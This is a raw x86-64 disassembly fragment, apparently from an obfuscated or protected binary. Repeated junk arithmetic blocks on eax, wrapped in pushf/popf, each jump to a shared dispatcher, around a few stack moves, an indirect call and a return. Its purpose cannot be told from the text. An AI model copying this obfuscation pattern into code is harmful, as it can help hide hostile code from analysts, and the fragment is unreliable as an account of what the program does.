mov eax, 0xbd2261bc
pushf
not eax
add eax, 0x892fc21e
xor eax, 0xd90a9605
rol eax, 0x77
popf
pushf
not eax
add eax, 0xeffd1e37
xor eax, 0xbcb69a3b
rol eax, 0x4e
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x32171b38
pushf
not eax
add eax, 0x9c74ca53
xor eax, 0x872450a3
rol eax, 0xed
popf
pushf
not eax
add eax, 0xee47c983
xor eax, 0xa6508bd3
rol eax, 0x8b
popf
jmp 0x14038cbfe
mov qword [rsp + 0x1b0], 0
push rax
pushf
mov eax, 0x4a52c035
pushf
not eax
add eax, 0x89894be1
xor eax, 0xa33b4ff5
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xdf09081d
xor eax, 0xc21e3924
rol eax, 0xef
popf
pushf
not eax
add eax, 0xdb7ead9e
xor eax, 0x8f535dd2
rol eax, 0x73
popf
pushf
not eax
add eax, 0xa4ea36d7
xor eax, 0xd6002428
rol eax, 0x5f
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x270], rax
mov rcx, qword [rsp + 0x90]
jmp 0x14038ff56
call qword [rsp + 0x270]
movzx eax, byte [rsp + 0x24]
test eax, eax
je 0x14038ffbf
push rax
pushf
mov eax, 0x8cbe6b4d
pushf
not eax
add eax, 0x9c6f0aee
xor eax, 0x8bea0970
rol eax, 0x30
popf
pushf
not eax
add eax, 0xe37f7e3a
xor eax, 0xb4e6562b
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x8635b5ff
xor eax, 0xe5f900be
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x8b9deb17
xor eax, 0xc09cdad2
rol eax, 0x1d
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x2613ac0f
pushf
not eax
add eax, 0xe647d6ac
xor eax, 0x86872a22
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xe6fcd5f4
xor eax, 0xd888e802
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf5a8840c
xor eax, 0xc8465433
rol eax, 0x61
popf
jmp 0x14038cbfe
mov eax, dword [rsp + 0x2c8]
mov dword [rsp + 0x6c], eax
jmp 0x1403900cf
mov dword [rsp + 0x6c], 0
push rax
pushf
mov eax, 0xd3c75161
pushf
not eax
add eax, 0xc5d33f5c
xor eax, 0xcb65b3fd
rol eax, 0x29
popf
pushf
not eax
add eax, 0xd7927a7e
xor eax, 0xa962d814
rol eax, 0x19
popf
pushf
not eax
add eax, 0xda1fb6e8
xor eax, 0xcd42ea56
rol eax, 0xa6
popf
pushf
not eax
add eax, 0x81a57816
xor eax, 0xf2f10dc0
rol eax, 0x13
popf
jmp 0x14038cbfe
mov eax, dword [rsp + 0x6c]
add rsp, 0x3f0
pop rdi
ret